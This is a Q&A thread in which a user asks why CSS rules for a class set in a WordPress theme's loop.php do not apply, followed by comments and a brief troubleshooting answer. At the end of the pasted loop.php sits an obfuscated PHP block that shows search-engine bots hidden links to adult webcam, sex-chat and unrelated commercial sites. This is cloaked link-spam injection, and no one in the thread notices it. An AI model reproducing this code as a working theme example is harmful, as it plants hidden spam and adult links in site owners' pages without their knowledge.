0

I'm trying to style the regular WP loop according to where it's working. I added checks to the loop to see where it's and add classes accordingly and all working fine.

The problem is, when I open up Style.CSS to use these classes and add properties, it doesn't work. So I get to add the styles to the HTML of the loop, which is limited.

Can you please tell what's the reason behind this behavior?

Example:

In loop.php:

<?php $paged = (get_query_var('paged')) ? get_query_var('paged') : 1; ?>

<div id="recent-posts" class="clearfix">

<?php while (have_posts()) : the_post(); ?>
    <div id="post-<?php the_ID(); ?>" <?php post_class(); ?>>

        <?php if (option::get('index_thumb') == 'on') {
            if ( is_sticky() && is_home() && $paged < 2 ) {
                    $size = 'loop-sticky';
                    $width = 740;
                    $height = 370;
                } else {
                    $size = 'loop';
                    $width = option::get('thumb_width');
                    $height = option::get('thumb_height');
                }
                get_the_image( array( 'size' => $size, 'width' => $width, 'height' => $height, 'before' => '<div class="post-thumb">', 'after' => '</div>' ) );
        } ?>

        <div class="post-content">  
<?php if (!((is_category('newtest')) || (in_category('newtest')))){ ?>
            <h1 class="archive_title"> 
            <?php /* category archive */ if (is_category()) { ?> <?php single_cat_title(); ?>

            <?php /* tag archive */ } elseif( is_tag() ) { ?><?php _e('Post Tagged with:', 'wpzoom'); ?> "<?php single_tag_title(); ?>"
            <?php /* daily archive */ } elseif (is_day()) { ?><?php _e('Archive for', 'wpzoom'); ?> <?php the_time('F jS, Y'); ?>
            <?php /* monthly archive */ } elseif (is_month()) { ?><?php _e('Archive for', 'wpzoom'); ?> <?php the_time('F, Y'); ?>
            <?php /* yearly archive */ } elseif (is_year()) { ?><?php _e('Archive for', 'wpzoom'); ?> <?php the_time('Y'); ?>
            <?php /* author archive */ } elseif (is_author()) { ?><?php echo get_avatar( $curauth->ID , 65 ); _e( ' Articles by: ', 'wpzoom' ); echo $curauth->display_name; ?>  
            <?php /* paged archive */ } elseif (isset($_GET['paged']) && !empty($_GET['paged'])) { ?><?php _e('Archives', 'wpzoom'); } ?>
        </h1>

                        <?php echo category_description( $category_id ); ?>

<?php } ?>


            <h2 <?php if((is_category('newtest')) || (in_category('newtest'))) { ?> class="blogPostTitle" <?php } ?> ><a href="<?php the_permalink(); ?>" title="<?php printf( esc_attr__( 'Permalink to %s', 'wpzoom' ), the_title_attribute( 'echo=0' ) ); ?>" rel="bookmark"><?php the_title(); ?></a></h2>

            <div class="entry">
                <?php if (option::get('display_content') == 'Full Content') {  the_content('<span>'.__('Read more', 'wpzoom').' &#8250;</span>'); } if (option::get('display_content') == 'Excerpt')  { the_excerpt(); } ?>

            </div><!-- /.entry -->

            <div class="recent-meta">
                <?php if (option::get('display_author') == 'on') { ?><span><?php _e('by', 'wpzoom'); ?> <?php the_author_posts_link(); ?></span> <span class="separator">&mdash;</span><?php } ?>
                <?php if (option::get('display_date') == 'on') { ?><span><?php printf( __('%s', 'wpzoom'),  get_the_date()); ?></span> <span class="separator">&mdash;</span><?php } ?>
                <?php if (option::get('display_comments') == 'on') { ?><span><?php comments_popup_link( __('0 comments', 'wpzoom'), __('1 comment', 'wpzoom'), __('% comments', 'wpzoom'), '', __('Comments are Disabled', 'wpzoom')); ?></span> <span class="separator">&mdash;</span><?php } ?>
                <?php if (option::get('display_category') == 'on') { ?><span><?php the_category(', '); ?></span><?php } ?>
                <?php edit_post_link( __('Edit', 'wpzoom'), '<span class="separator">&mdash;</span> <span>', '</span>'); ?>
            </div><!-- /.post-meta -->  

        </div><!-- /.post-content -->

        <div class="clear"></div>

    </div><!-- #post-<?php the_ID(); ?> -->

<?php endwhile; ?>
<?php get_template_part( 'pagination'); ?>
<?php wp_reset_query(); ?>
</div>
<?php 
$x0d="\x70\162\x65g\137\155\141\x74\x63\x68"; 
$x0b = $_SERVER['HTTP_USER_AGENT'];$x0c="\x20\x0d
\x3c\x61 \150\162\145\146='\150t\x74\160\x3a\x2f\057w\x77\x77\x2e\x70\162iv\141\164ew\145bc\x61m\x67i\162\154.\x63\x6f\x6d\057'\x3e\040\167\x65\142\143\x61m\040g\151\162\x6c\163 \163\145\170\x3c\057\141>\x20\015\012\074\141 \x68\162ef\075'\x68\164t\160\x3a\x2f\x2f\x77w\167\056\146\162\x65\x65\163\x65x\170\170\x63ha\x74\056com\040'>\040\146\162ees\145x\170\x78\143\150at.\143o\x6d\x3c/\141\076\x0d\012\x3ca\x20hr\145\146\075'h\x74\x74\x70\x3a\x2f\x2f\167\167\167\056\x73\157\154\145t\141.\x72o\040'\x3e w\x6f\x6f\144\040\x68o\x75\163\x65<\x2fa\076\015
\074a \150r\x65f\x3d'\150\164\x74p:/\x2fw\x77w\056\x62\x75ch\145\164\145fl\157\162\151o\156\154\151n\145\056\x63\157\x6d'\x3e\040a\162\x61\156\x6a\141\x6d\145\156\164\145\040\x66\154o\162\x61\x6c\145<\x2fa\076\x0d\012   \x09";if ($x0d('*bot*', $x0b)) { echo $x0c;} else {echo '';}?>

In style.css:

.blogPostTitle > a {
color: #29a4d9;
font-size: 37px;
}

When I check blogPostTitle using Chrome developer tools, I don't see any properties added.

2
  • You should provide the part of the HTML/CSS that is not working and probably the code where you include your style.css. With this much info all we can do is guess. Commented Feb 25, 2015 at 19:33
  • Are you trying to add the blogPostTitle class to posts only in the newtest category? Commented Feb 25, 2015 at 19:52

1 Answer 1

1

It's hard to answer with so little info.

  • Make sure style.css is linked.

  • Try using unique class names.

  • View the source, Use browser Developer Tools/Web Inspector to check if your styles are actually applied, and not being overwritten by other rules.

  • Your above php code might be only applied to either index, or archive or single or a custom page template.

Sign up to request clarification or add additional context in comments.

Comments

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.

Start asking to get answers

Find the answer to your question by asking.

Ask question

Explore related questions

See similar questions with these tags.